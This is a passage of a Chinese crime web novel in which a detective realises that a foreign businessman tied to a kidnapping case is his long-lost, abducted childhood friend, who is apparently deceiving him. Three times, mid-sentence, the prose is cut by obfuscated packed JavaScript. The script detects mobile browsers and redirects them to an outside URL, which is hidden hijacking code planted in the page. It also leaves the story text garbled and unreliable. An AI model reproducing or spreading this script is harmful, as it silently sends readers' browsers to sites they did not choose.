“我不知道是不是他们的人跑来这边,也或许这边的人和他们有合作。我第一次来这里,我在这边没有任何的仇人。”路易微微蹙着眉,这样说道。 陈登反复地查看桃源湾别墅内的视频记录画面,这里面包括李弛带队抓人时的执法记录仪拍摄内容,还有路易雇佣的两名保镖随身的记录仪拍摄的内容。这些画面他翻来覆去地看,时不时想到些什么就在笔记本上写写画画记录下来。期间李驰还想过来,再给他讲讲自己当天的英勇事迹,被冯佳佳眼疾手快拉走,让这小子别去打扰陈登。 老实说,路易的猜测听起来总有些难以置信,但现有的信息来看,似乎也不能说一点可能性没有。如果,真是这样,国内的人与国外帮派勾结,承接国外帮派的业务,那么即使打掉国内这条鱼,也不解决路易他们的问题。也难怪他会说告诉警方也没用。 自从和路易聊完,陈登脑中就反复回想着前面的笔录内容。路易的情绪是一群人中最稳定的。这些天的笔录时常反复要求表述同一段时间内发生的事情,他发现路易的笔录内容中,总体逻辑是通顺的,偶尔有些表述上的小问题也很可能是源于语言水平问题,对事件叙述没有影响。 史蒂文的笔录内容多了一些接受老板指令后,作出具体执行的过程,事件上和路易的都是能对应上的。这是一对合作相当合拍的搭档。由于个性上的差异,史蒂文是所有人中情绪表达最丰富的。当他被问及一些可能推导向他是罪犯的问题时,他相当崩溃,肉眼可见的委屈;谈到他们约见的客户时,他提到所有的对接工作都由他完成,对接过程不太愉快,效率非常低下,他对客户满满的牢骚,说着说着就烦躁起来,有一次连李驰都产生了共情,出了观察室就问陈登,为什么做生意的哔事儿可以那么多。 几位随行的保镖都是临时被雇佣的,他们只知道需要陪同委托人去别墅区,与人会谈,期间保障委托人的人身安全。进入别墅后所遇到的情况虽然离谱,但几名保镖其实还挺兴奋,即便是他们这些常年从事安保职业的人,也是极少能遇到这种刺激的事情的,回去能跟哥们儿吹好久。 这些人的笔录中,都能呈现出一些个人的心理状态。很明显,保镖们的心理最为轻松,没有任何负担,因为他们很确信自己没有参与犯罪。 受害人方面依旧没有进展,他全程没有意识,至今都没有自己被绑架过的实感。从他身上试图提取指纹、衣物纤维等等,痕检结果也是让人心累,小孟有天对陈登说,哥,怎么会啥都检查不出来呢?不科学啊!别是我在做梦吧!睡醒了是不是我毕业论文就被毙了! 好家伙,一个案子里,受害人没心没肺,反倒是把警察逼得要神经了…… 然而陈登还是不死心,凡走过必留下痕迹,他不信有什么案子真的天衣无缝,现在只不过他们还没找到线头而已。 就这样,他看了三天的视频…… 翻来覆去,一遍一遍。一定有什么是之前还没注意到过的。这期间他确实又发现了一些小细节,对在场的每个人又加深了一些了解。 比如,受害人在警方闯入的一瞬间有过微微的抖动,陈登认为那时候他并非毫无意识,很可能是被爆发的响声惊到了。所以他全程无意识的真实性有待商榷。 比如,保镖在他们从别墅区公用的停车场下车后打开了记录仪,众人步行进入别墅。他们的状态确实是警戒状态,视频里路易也确实告诉他们,来见的人“未必是好人”,他们是做好了赴一场鸿门宴的心理准备的。见到受害人时,他们也是意外的、震惊的,显然他们事先不知道受害人的事。 再比如,史蒂文在探索别墅期间,有几次下意识的动作都能够看出,他曾经有过格斗方面的经验,在他下楼梯前,曾在后腰的位置扶了一下,应该是习惯性的摸枪动作。这在他的口供中也有所体现,他提到过在老家有持枪证。 可是这些细节,似乎仍然无法找出某个线头。 陈登一筹莫展。 他在查看视频方面一直有些接受不良,远没有查阅文字类的信息接受度好。所以他更喜欢看卷宗,而视频是李弛那小子的长项。 心里刚想着某人,某人就过来了。二话不说给他递过来一根牛奶蜂蜜味的棒棒糖,甜倒牙的口味。 陈登无语:“你哄孩子呢?” 李弛自己嘴里还塞着一根草莓味的,含糊地说:“佳佳给的,说你这两天伤脑,甜的补脑。” 陈登更无语了:“……那你补什么脑?” 李驰嘿嘿笑道:“佳佳心疼我,说我最应该补脑。” 陈登噎住。你跟个核桃说个der…… 俩人一人一根棒棒糖嘬着,坐在电脑前,视频继续轮播。 “你那天抓人,没发现有什么奇怪的吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615094|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“一开始没觉得,后来回想起来,冲进去的时候,大家都挺懵的。”李弛回答,“这算奇怪吗?” “这有什么奇怪的?突然闯进来一群警察,换谁谁不懵。” “怎么说呢……就是,对看好几秒钟,然后他们把手举起来了,也不跑也不闹的。我回来后跟师父说,师父就说他们都不跑的吗?会绑架的人一般都是豁出去的,见到警察没那么怂。我还说会不会是他们觉得自己是外国人,我们拿他们没办法呀!师父觉得也不是,下意识的反应做不了假,说他们就是没想着跑。我当时还觉得师父说得太绝对,结果后来发现他们果然不是真绑匪啊!我师父真厉害!”李弛这就美滋滋起来。 陈登好气,说了半天,这小子根本没明白他想问的是什么。不想说话,嘬棒棒糖。 李弛白天不懂夜的黑,他完全没察觉陈登的烦恼,只是好奇他连着看了几天的视频。这会儿他不懂就问:“话说外商都已经基本排除嫌疑了,不是让我们排查受害人方面的人际关系么?你还看这是想找啥?” 陈登一时间也说不明白,他一开始只是想仔细再做做功课,或许能在这些视频里找出之前的盲点,说不定就是案件的关窍所在。但现在,翻来覆去看了这么多遍,他已经不怎么想什么关窍了,他只是有种感觉,觉得有什么东西就在眼前,但稍纵即逝,他却还没有意识到。 半晌过后,屏幕上正播一个保镖的记录仪画面。李弛带队杀入,保镖显然顿了一下,微微转了个方向观察,镜头带到负一层的平台围栏上,那里是另一队从一楼攻入的警察,场面压迫感飙升。这个保安紧接着往原来的方向转回去,应该是看向一行人里的决策者路易,镜头也相应地转到了路易身上。 此时的路易站在这名保安的侧前方,错开大概一个身位。镜头上有什么一闪而过。 陈登还在想到底是什么让他觉得微妙而又无法言说,身边的李弛突然开口:“那个金发的大个子是助理对吧?” 陈登嗯地应了。 李弛又说:“说真的,欧美人的身材练好了确实有压迫感,我一开始以为他也是保镖,而且是忠心耿耿救过他老板好几次那种。” 视频中一个很不起眼的角落里,路易的手轻轻搭在史蒂文的手臂上,那是个带有安抚意味的阻止动作。 定格。 陈登豁然开朗,他突然明白了自己忽略了什么。 是一种让他熟悉又陌生的感觉。 路易和史蒂文两人,在陈登认识他们时,就被定义为老板和助理,但在后来的几次接触中,陈登也发现了,他们两人的关系远不止工作上下级这么简单。 男人之间的相处,很多时候不会有多细腻,对彼此真实的态度往往也不会藏得很好。正如大家调侃的,男人之间的友谊就是:一起同过窗,一起扛过枪。有些非常细微的气息,是只有同类才能嗅到的。 陈登嗅到的就是路易和史蒂文之间,有着异于寻常人的默契。比如路易会阻止史蒂文做出过激的防卫,会预判史蒂文想要掏枪,进入别墅后身体依然放松,他很确信自己的安全;史蒂文会主动站在路易前半个身位,会主动开路第一个进入别墅。在李弛带队闯入时,史蒂文有过应激反应,但应激后又被路易轻易地安抚住,即便在不知道发生了什么事的情况下,也充分信任路易的判断。路易只是反手轻轻搭在史蒂文的小臂上,两人甚至没有眼神交流,但是史蒂文就是被实实在在的安抚住了,全身肌肉迅速放松下来,情绪也不再那么紧绷,最后乖乖地举起双手,对警方展示自己的无害。 这种默契绝不是一般的同事搭档个几年,做几个项目能够培养出来的酒肉人情,而更像是曾经一起出生入死,有过过命的交情的异姓兄弟。 这种感觉就类似于他和李弛,不一定思维有多同步,但必要时能为对方搏命。 16. 第 16 章 李弛突然把最后一点棒棒糖咬碎,在嘴里嘎嘣嘎嘣地嚼了几下,硬糖碎在嘴里化得一干二净。他随手把视频又停住,转头问陈登:“怎么了?心神不宁的。” 李弛出身警察世家,从小耳濡目染,该具备的素质都是很不错的水准。虽说冯佳佳总说李弛憨,但能成为警校优秀毕业学员的李弛不可能真傻,他如同小动物一般的直觉往往就指向迷宫中路程最短的那条路径,这也是他能够更热血地向前冲的原因之一。 陈登一时间也不知道该怎么解释,他看了那么久的视频,结果想的都是些无关紧要的? 李弛看他一脸便秘的样子,觉得好笑,“登仔,你是不是交不出作业,怕你师父揍你啊哈哈哈!” 陈登没好气,说:“你才交不出作业!” 李弛一脸看穿了真相的笑,得意地说:“急了急了急了!我跟你可不一样,这些视频刚案发那几天我就看过了,里面的内容早被我盘明白了!” 陈登难得地产生了一种年级前三的优等生突然被一个体育生在考试中虐了的荒诞感。“你盘出什么了?” “你别不信,我看那么多监控视频不是白看的!这几个人有几条疤我都数得明明白白。” “你难道还能透视他们衣服啊?”这里面的视频几乎都是佩戴在人身上的记录仪拍摄的画面,本身像素不高,再加上人员的跑动等等,镜头晃动得厉害,画面清晰度一塌糊涂。李弛这么说,陈登只觉得这小子是真膨胀啊,上学的时候明明没这么能吹。 “真的,你别不信,那个史蒂文,他的动作习惯能看出来以前在背部和左腿应该受过比较严重的伤,左后那个保镖的右手臂应该断过,右前方保镖额头发际线那儿有个疤,还有那个外商老板,他看起来最文弱,可是他也受过不少伤,比如左侧锁骨像是断过,背肌也像是撕裂过!”李弛看兄弟不相信自己,连珠炮似的报了一连串,证明自己说的都是真的。 陈登听得一愣一愣。有一说一,在学校时,陈登的优秀突出在精神方面,李弛的优秀更多体现在身体方面,各种体能、格斗、急救包扎等与身体训练有关的方面,李弛是有天赋优势的。当他说出刚才那番话,陈登心说这小子在他自己的领域悄悄上大分了。 李弛看他没回应,生怕他还不信,拉住他看屏幕,熟练地把视频调到一个时间上,停住一帧图像指给陈登看,说:“你看,他这耳朵后面还有个小疤,我都看见了。” 陈登看着屏幕上,画面其实很模糊,但确实能看到,路易的头侧向一边,他的耳后有一块小小的色块,与周围皮肤的颜色不太一样,稍稍突起,不太明显,形状…… 陈登微微向前倾身,瞳孔不明显地收了收,他意识到自己不可抑制地产生了某种猜想,过于疯狂。 他倏然起身,去文件柜里翻找。李弛被他吓一跳,忙追过去问:“你找什么?文件?” “照片!” “谁的?” “那个路易!”陈登一边急吼吼地翻着柜子里的每一张纸,一边回答。 李弛歪头回想了一下,然后拐回到自己办公桌前,从一大堆乱七八糟叠在一起的纸堆里抽出一份文件夹,递给陈登。 陈登接过来,那是别墅绑架案到目前为止的案件记录,李弛自己做的,他知道自己的短板,因此也愿意在这方面努力做得更多些。文件夹里夹了几张照片,案件现场的,相关人员的,当然包括了路易,不同角度,不同姿态,很详尽,更清晰。其中一张,拍摄到了罗誉的右耳侧后方,那里是一道颜色稍深的疤痕,类似于数学中的大于号。 陈登的手微微发抖。 在他和罗誉即将上小学那年,罗誉曾经在院子里,被飞来的足球意外砸中,摔倒的时候撞在小区花坛的边上,耳后被刮了个大口子,流了许多血。陈登当时被吓坏了,一直哭到罗誉包扎完回家来。自那以后,罗誉的耳后留下了一个疤,像个大于号,只有陈登觉得那就是个箭头。 这个箭头他已经很多年没有见过了。 没想到,会在多年以后,以这种方式,再次见到。 路易。没错,陈登想起来了,小学第一堂英文课,老师让每个孩子都给自己取个英文名。他们在词典里翻了好久,罗誉选了这个名字。小朋友们曾经问过为什么,陈登记的罗誉说过,这个名字,意思是胜利者。后来长大点,在外服打游戏,一个英国网友也叫这个名。那位还告诉过他,这个名字的人喜欢旅游和自由,一生不断地追寻目标。那时候他就想,还真是罗誉会取的名字。 李弛这小子做的笔记非常详尽,陈登忍不住又去翻路易基本情况的记录。如果他真的是罗誉,为什么会是合众国的国籍,并且好像一点都不记得他了? 可记录里,路易的基本情况内容并不多。只有笼统的国籍,住址,经营的公司,从事的贸易类型,财务情况等等。 老王教陈登看卷宗时,总是说,卷宗里能看到每个人的一生。可现在,陈登发现,记录寥寥几笔,竟然可以看似写完一个人,却完全看不清面目…… 为什么看不清呢?怎么会看不清呢? 眼前模糊一片,明明白纸黑字,却糊成一团。 李弛眼睁睁看着陈登瞪着自己整理的笔记,突然吧嗒吧嗒开始掉眼泪!什么情况?猛男落泪!太可怕了!看刑侦笔记代入感这么强的吗?登仔这是让谁跟你共情了?你分析出啥了感动大华吗? 李弛手忙脚乱地扯抽纸往陈登脸上糊,心里一慌嘴就开始放飞:“怎么了,登仔,你别哭啊!我还没来得及欺负你呢!我啥也没干呐!你别哭了,求你了,哥哥再给你一根棒棒糖……” 办公室里本来没有注意他俩的同事纷纷回过头来…… 造孽啊! 陈登心里空空的,拿袖子抹了一把脸,把笔记还给李弛,嘟哝了句没事我静静,恍恍惚惚出了办公室。留下办公室里其余人面面相觑,最后齐齐看向李弛。 李弛抱着笔记慌慌张张,求助的目光投向冯佳佳,却只见冯佳佳一双圆眼用力瞪着他,都瞪出了四白眼。冯佳佳咬着后槽牙,没发出声音,用嘴型说了句,你死定了。 李弛扁扁嘴咽了口唾沫,是啊,我也觉得我死定了…… 陈登也不知道自己是怎么到酒店的。他发现时,车已经停在花冠皇庭的正门口马路对面。他隔着车窗往上看,看到路易的那一层,盯着看了好久。 陈登自认不是一个善于交友的人,他没那么容易和一个陌生人迅速熟络起来,可路易是个例外。 如今回想起来,第一次见面,他就对对方留下了深刻而又良好的印象,明明对方并没有做什么,甚至连交流都没有过。第二次见面,竟然就答应了对方的邀请,愉快地共进晚餐,更对他提起了幼年时重要的小伙伴。似乎面对路易,他就总会不自觉地松弛下来,不用去想很多成年人才会做的考量,感受简简单单的快乐。原来这不是人生中有幸遇见的第二位,从来都只是那一位。 陈登望着酒店高耸的大楼,想着幼时那个善良聪慧又不幸的小伙伴就在那里,可他同时又生出了一些怨恨。这些年他去哪儿了?李弛说他受的那些伤,是不是人贩子打的?他显然已经脱离了人贩子的控制,那为什么不给家里报信?大家都那么担心他,他为什么不回来?为什么成了合众国人?为什么好像完全不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615095|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识他了……明明他还记得他,可他却好像不记得了…… 王琼正和史蒂文对接接下来一段时间的服务方案。由于两位客人在取保候审中,接下来将会大幅度减少出行,尽量在酒店待着。王琼需要一份新的客户行程安排表,以配合客户,调整客房服务方案,保障服务质量的同时,尽量不打扰客户。当然,这也是警方需要酒店做的。 史蒂文往嘴里送了一勺冰淇淋,看着王琼在随身的平板电脑上噼里啪啦地单手输入各种信息词条,在系统中登入和改写记录,一番操作眼花缭乱。王琼对他来说是个新鲜的尝试,她和以往的女人都不太一样。最明显的一点是,她似乎不太容易上手。 史蒂文原以为,这样一位单身了很久的姑娘,会很难拒绝他的荷尔蒙。他对她已经很“礼貌”了,下了很多小钩子,可她仍然矜持得就像一个蚌壳,怎么也不愿意打开坚硬的壳。他俩现在的进展仅仅只是能够随时以工作为名,独处交流而已,而交流的内容绝不会脱离工作。 该死!这是他情感经历中的滑铁卢! 迄今为止,史蒂文在感情的战场上可谓所向披靡,未尝败绩,这是第一次,战略目标竟然未能按计划达成。 王琼看似专心致志在操作平板电脑,其实内心可远没有看起来那么平静。她能察觉到史蒂文的目光黏在她身上,因此控制着自己不要拿余光去看史蒂文。现在是上班时间,琼姐不是花痴。 就在这时,王琼的电话响起,是李弛打来的。 琼姐疑惑地接起电话。“弛仔?” 那边李弛碎碎叨叨说了半天,王琼才明白是什么事儿。“行,知道了。你别慌。他都这么大了,能有啥事儿?我找找他。” 琼姐挂下电话,对史蒂文表示歉意,稍晚给他送个果盘,现在她要去忙了。 琼姐利索地脱身,在酒店走廊里七拐八绕地找了个安全通道的角落,拨通陈登的电话。接通后,两人聊了几句,王琼收起手机,搭电梯下楼。 在她没注意的走廊角落里,史蒂文看着她走进电梯。 总统套房S888。罗誉站在落地窗前。他已经站在那儿有一会儿了。他没有拉开那层半透的纱帘,隔着纱帘,外面的人看不见里面,但他能看到外面的景象。 他很早就看见了一辆车,停在酒店的大门对面,却没有人下车。他认识那辆车,曾经在酒店地库里,差点撞上。想来,那人也在车上,可他没有出来。 罗誉有些不好的预感,不知道发生了什么,或者接下来会发生什么。 身后的套房门被打开。史蒂文走了进来。 “真没想到,竟然真有女人能够抵挡我的魅力。Louie,你不觉得这很离谱吗?”史蒂文的声音听起来很不满。 罗誉没有回头,他看见王琼从酒店大门跑出去,径直跑向了对面那辆停了很久的车,拉开车门坐上了副驾。他对史蒂文回应道:“这样也挺好,不必在她身上花费更多时间了。” 史蒂文更加不满,他的boss,他的兄弟,竟然认为他应该接受失败,让他退出战场!“嘿,哥们儿,你觉得我会输?你已经认定我会输?” 罗誉这才转过脸来,他认真地问史蒂文:“不论你会不会成功,至少有一点是我们现在可以确认的。王琼和警方的接触非常密切。”史蒂文嘟嘟嘴唇,不以为意。罗誉继续说道:“但是,还记得你最初接近王琼的目的么?是为了进一步维护和陈登的关系。所以王琼只是个附属品,我们的重点是那个警察。王琼,可以有,也完全可以没有。Steven,不要在不重要的人和事上浪费时间,我们应该把心思放在重要的人和事上。” 17. 第 17 章 “……可是我怎么能输给一个女人?”史蒂文非常不甘心。这事儿对他打击委实有点大,他还没有年老色衰,在他风华正茂之时,竟然能有女人不着他的道! 虚弱徒劳的挣扎,被罗誉只用一个严肃的眼神就将其镇压。 罗誉走过沙发,随手拿起一件外套,一边穿一边走向门外,口中给出最后的忠告:“我们不会输给女人,她们只能是玩物。走了,别因为玩物耽误了吃饭。”当你需要别人接受你的观点时,最好能用他们乐意听的语言。 史蒂文非常喜欢这句话,瞬间满血复活,乐颠颠跟了出去。 “去哪儿吃?” “今天去中餐厅吧,点个小白鱼。” “那我要火焰土豆泥!”两人随意地在电梯门前闲聊。 电梯门打开的那一刻,里外的人两两相望,都有些意外。 王琼最先反应过来,拉了拉陈登的袖子,走出电梯,微笑问候:“两位这是要下楼?” 罗誉微笑点头应道:“正准备去中餐厅吃饭。我们正在商量吃什么。”他扫了一眼陈登,“两位要一起么?” 王琼婉拒:“谢谢,不过我还在上班……” “方便么?”还没等王琼说完,陈登插嘴问道。 其余三人都是一怔。 王琼悄悄观察陈登,发现他是认真的。就是说你小子发神经是跟这俩外国人有关?反应过来的王琼当即不再做声,垂下眼来降低自己的存在感。 罗誉和史蒂文还没反应过来,陈登又重复一遍:“方便一起么?” “哦,”罗誉醒过来,对陈登做个邀请的手势,说:“当然!” 不一会儿,三人坐在中餐厅的包厢中,餐点陆续端上来,却没有人动筷子。 史蒂文感觉自己是个多余的,但也正因如此,似乎也只有自己适合搞一下气氛。 “兄弟们,这热腾腾香喷喷的菜太吸引人了,你们要是不为所动,我就不客气了!” 史蒂文说完,罗誉也动起来,拿起陈登面前的汤碗,给他盛了一碗汤。“陈登,先喝碗汤。” 陈登原本默默垂着眼自闭,一碗汤递过来时才缓缓抬起眼来,顺着汤碗,视线往上看那只手,再到手臂,再到那张脸,呆呆看了好久。 罗誉在套房窗口看到他车的时候,就察觉陈登应该是发生了什么,现在看他这副样子,心中不免开始有了些猜测。他是不是查到了什么…… “陈登,喝汤。”罗誉脸上不显,把汤向陈登面前又推了推,随后给自己也盛了一碗,看似随意地问道,“你今天脸色不太好,是不是工作太累了?” 陈登没答话,却自顾自问了个问题:“你也习惯在饭前喝汤?” 罗誉勾了勾嘴角,笑道:“上次吃汽锅鸡还记得么?是你先给我盛了一碗汤。我跟你学的。” 陈登顿了顿,嘟哝了一句,“是啊,你也喜欢汽锅鸡……” 罗誉端着汤碗的手微不可察地一顿。 史蒂文已经大口吃上了他喜欢的火焰土豆泥。他举起没拿调羹的那只手示意,嘴里还含着土豆泥没来得及咽下,含糊地接话:“我也喜欢!” 没人理他。 陈登继续自闭。 罗誉一小口一小口地喝着碗里的汤,热气蒸腾上来,又把他的眼镜片凝出大片水雾,罗誉这次没有摘眼镜,只是淡定地吹一口气,喝一口汤。 史蒂文也不在意冷场,他端起玉米浆喝了一口,咽下嘴里的食物,满足地叹出一口气,说:“不知道是不是我的错觉,这里的玉米浆比我们那边的玉米奶油浓汤味道更足。你们是怎么做的?” 罗誉随意地回答:“因为玉米奶油浓汤里,为了增加香味,添加了奶油,为了制造浓稠的口感,添加了土豆,为了漂亮的蛋花,加入了鸡蛋。你喝到嘴里的玉米含量已经很少。而玉米浆,只有玉米和水。” “原来如此,完全用玉米做的?” “对,把玉米粒在搅拌机里打成汁,把粗渣过滤掉,然后在锅里煮开,就这么简单。” “那玉米奶油浓汤为什么要那么复杂?煮出来还不如简简单单来得好喝!” “因为你们坚信好吃的食材加到一起一定会做出好吃的菜品。” “可为什么事实不是这样?” “因为难以平衡。”罗誉若有深意地看着史蒂文,说道,“就好像漂亮温柔的女孩有很多,但不能同时成为你的女朋友。” “……”史蒂文耸了耸眉头,虽然但是,他不觉得不可以同时有多个女友,当然,这些没必要当着陈登的面讨论。 虽说史蒂文在和陈登初次见面时就承诺过约饭,但直到现在,他们才第一次坐在一起吃饭,只可惜气氛始终尴尬僵硬。史蒂文已经很努力了,但成效非常有限。 终于凭借一己之力,将桌上三分之二的菜品吃进肚子,史蒂文觉得自己已经不能承受更多。另外两名选手肉眼可见的摆烂,使得他们陷入将要浪费粮食的可耻境地。 罗誉看着桌上那几盘几乎没有动过的菜,让史蒂文去找服务员问问是否可以打包带回房间。 史蒂文一出门,包厢内鸦雀无声。 “能问问,你是如何取得合众国籍的么?”陈登嗓音沙哑地提问。 罗誉摘下眼镜,用餐巾仔细擦拭,坦然回答:“十岁时被收养。” “那你是知道自己原本的国籍的。” “是,我出生在这个国家。”罗誉的语气变得有些冷淡。 “你之前没有说过……” “你也没有问过。”语速很快,罗誉第一次用这样生硬的语气对陈登说话。 陈登垂下眼,低声问:“那你原本的名字……” 罗誉终于擦干净眼镜,将它戴上,眼睛再一次被遮挡在金丝眼镜后面。他微微叹了口气,该来的终归是来了。 他轻声回答:“罗誉。” 陈登鼻子一酸,拼命忍住,说:“你是不是早就认出我了?” 罗誉没有否认。 “你为什么不说?” “……我最初只是怀疑。”罗誉转过头来看着陈登的眼睛回答:“我只知道你的名字,我不能确定。在这里叫这个名字的人可以有很多。我无法确定。” “那吃汽锅鸡那晚,你还不能确定?”陈登质疑。 “正是在那晚,我才确定是你。”罗誉解释。 “可你还是没打算说。”陈登开始谴责。 罗誉顿住,然后把头扭向另一边,“……因为你没有认出我。” 陈登怔住。 罗誉咬了咬嘴唇,有些委屈地说:“我认出了你,可你没有认出我,我只是一个陌生人。而在你的记忆里,我似乎加了一层美化的滤镜。如果那时候我说我就是那个欠你汽锅鸡的发小,你会信么?” 罗誉吸了口气,继续说道:“而且我已经陷入了某些麻烦,我不想让你觉得,记忆里那么完美的朋友现在变成一个惹人嫌弃的惹祸精。” 陈登都不知道自己的泪腺原来如此发达,今天第二次掉下金豆子。 史蒂文带着几个打包盒进来的时候,看见的就是自家boss有些无奈地给菜鸟小警察递纸巾,而另一位正一把鼻涕一把眼泪地澄清:“我怎么可能嫌弃你!我一直想把你找回来!想了十几年了!我就是一时没把你认出来,你就不想认我了!”小警察越说越激动,还一把攥住罗誉的领子,大声问:“我要是一直没把你认出来,你是不是就回合众国了?然后是不是就再也不回来了?” 罗誉的领口被拉开了些,陈登一眼就瞧见了左侧的锁骨上方残留着一道陈年旧伤。李弛的话仿佛回响在耳边:他看起来最文弱,可是他也受过不少伤,比如左侧锁骨像是断过,背肌也像是撕裂过!陈登瞬间收了力,不敢大力拉扯罗誉。 罗誉不知道他内心那些百转千回,有些无奈地给他擦脸,回答他:“确实想过,你认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615096|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出我,我就不用再找理由来这里了。你不要哭了,我怎么不记得你小时候这么哭包。” “我不是哭包!” “对对,你不是。你怎么还哭?” “我没哭!” “好吧,你没哭。” 史蒂文在这一刻真的很无助,上帝啊,我这时候进去打包饭菜是不是显得特别蠢…… 总统套房S888内,史蒂文识趣地表示自己需要去买包烟。陈登坐到沙发上平静了下来。男儿有泪不轻弹,他上一次这么哭也就是罗誉失踪那会儿,本以为这辈子不会再有机会哭成这样,事实证明想多了,插旗必倒。他刚都哭到呼吸性碱中毒了,理智恢复后才觉得好丢脸。 罗誉给陈登递了杯水,他把杯子握在手里也没心思喝。他有太多问题想要问,一时间又不知道该从何问起。 罗誉倒是很耐心,把他带回套房,避免了在餐厅被服务员围观。等他开始平静下来,开始回答他的一些问题。 “其实,我有很多事情已经记不太清了,有段时间的记忆是凌乱的,甚至到现在还有些事,我无法确定是幻觉还是事实。”罗誉冷静地述说。 “我脑子里的印象是,我刚跑出几步,就被追上,他们抓住了我的书包,我甩掉书包接着跑,又被抓住。然后就被打了头。我醒来的时候就在一间很黑的房子里,旁边有其他的孩子,都比我小很多。我就试着跑,然后又被抓回来,他们就会打我。他们带着我们几个孩子总是在赶路,几乎每天都会开车换一个地方。孩子陆续被卖掉,也有新的孩子被抓进来。我跑不掉,就总会被打。” 陈登不想打断罗誉,他安静地听着,心里会不时回想起老刑警当年的话,果然一一应验。阿誉讲得那么平淡,罗叔叔他们听了该多心疼。 “后来有一天,我不知道具体地点是哪儿,只知道车是沿着一条大河走的。我找机会下了车,然后跳进了水里。那两个人没跟着跳下来抓我,应该是不会游泳。我在河水里漂着就晕了。等我醒过来,是在一家医院里,我已经被救了。”罗誉说到这里,停下来喝了口水,露出一个欣慰的笑容。“你刚才问我,为什么我没有给你们报信。我刚醒的一段时间,浑浑噩噩的,甚至连姓名都说不清楚,警察都问不出什么。后来医生说可能是脑部受伤有出血,也可能是在水里缺氧,反正有一段时间,我脑子里都是混乱的。” 陈登吸了吸鼻子,低声问:“后来呢?” “我不知道过了多久,等我稍微正常一点的时候,已经在福利院。再然后,有个合众国男人来院里,就是我后来的养父,他办理了收养,把我带去了合众国。” 陈登半天没说话。幼时最好的朋友遭遇了最可怕的事情,曲折离奇。罗誉全程说得轻描淡写,但陈登当然知道实际情况一定一波三折,充满了磨难。 罗誉叙述的这段历程中,还有些问题没有说明,比如他作为涉及悬案的受害人,即便因为记忆混乱导致暂时无法查到国内监护人,怎么能被其他人收养。对此罗誉表示也不清楚,当时的年纪和健康状况都不足以让他弄清楚当时的情况。陈登一时间也没有心思深究,因为早年间确实有很多管理不规范的地方,出现各种差错也不是全无可能。 在罗誉后续的陈述中,陈登也了解到,他的养父对他还算不错,在收养他之后,事业上也意外地获得了几个非常难得的机遇,罗誉在那边接受了良好的教育,成年后逐渐接手养父的公司。在这些年里,罗誉的身体也慢慢好起来,想起了一些事情和人。前不久经人介绍,对接到大华这边有个新能源项目,出于一部分的私心,他向养父请求亲自来这边一趟。 陈登的内心五味杂陈,他也向罗誉说了些后来的情况。好兄弟渡尽劫波,他辛酸不已;久别重逢,他欣喜若狂。如今兄弟相认,他们还有很多事情要做,比如罗誉的亲生父母已经失联多年,陈登相信他们仍在不懈地寻找自己的儿子,必须尽快找到他们,让他们一家团聚。 18. 第 18 章 陈登在车里久久没动,他把下巴搁在方向盘上,放空自己。 时至深夜,他强打精神,告别了罗誉,表示明天会再找时间来看兄弟,之后下楼,回到了车上。 脑子里嗡嗡的轰鸣声持续,陈登知道自己需要好好睡一觉,但更清楚自己的状态,恐怕会接连几天都睡不好。废话,这谁还能睡得着? 直到此时,他才想起来看一眼手机。那上面已经有许多的未读信息和未接来电。有好几个同事,虽然不知道他到底怎么了,但还是都发来消息安慰他,李弛和冯佳佳的电话加起来得有几十个,未读信息也都是问怎么了,让他有事别自己扛着,他们乐意分担之类;师父打了两个电话,大概就知道他暂时是不会和任何人联系的状态,就没有再找他;然后是琼姐,在他跟罗誉去了餐厅时两人分开,琼姐第一时间给他发了消息,嘱咐有需要的时候随时找她。 陈登先给王琼发了条消息,表示自己没事了,让琼姐放心。随后拨通了师父的电话。“师父,路易那个案子,我申请回避。” 罗誉侧着身站在落地窗边的墙后。晚上室内的灯光能让外面很清楚看到窗前的人影,他不想让陈登看到。良久,酒店大门对面的那辆车驶离。 他退回到办公桌前坐下,摘掉眼镜,疲惫地揉按睛明穴。 史蒂文双脚搁在茶几边,很没有形象地瘫坐在单人沙发上,一手撑着脸,盯着罗誉看。“啧啧啧!Boss,如果不是我在你12岁时认识了你,一直跟随着你,我都要信了!原来你才是那个该拿小金人的!”史蒂文促狭地调侃道。 罗誉用眼神谴责他,说:“真谢谢你一整晚的捧场,竟然忍住了没拆穿我。” 史蒂文眨眨眼睛,语气浮夸:“Boss,在你眼里我竟然是那种会闹场的不良观众!” 罗誉挥了挥手,仿佛赶苍蝇,说:“行了,别贫嘴了。” 史蒂文把腿一收,坐直了说道:“我说真的,今晚的戏真精彩!所以到底是怎么回事?你们以前真的认识?” 罗誉戴上眼镜,回答他:“很多年前的事了,没有意义。只不过,会有今晚的效果让我有些意外。” 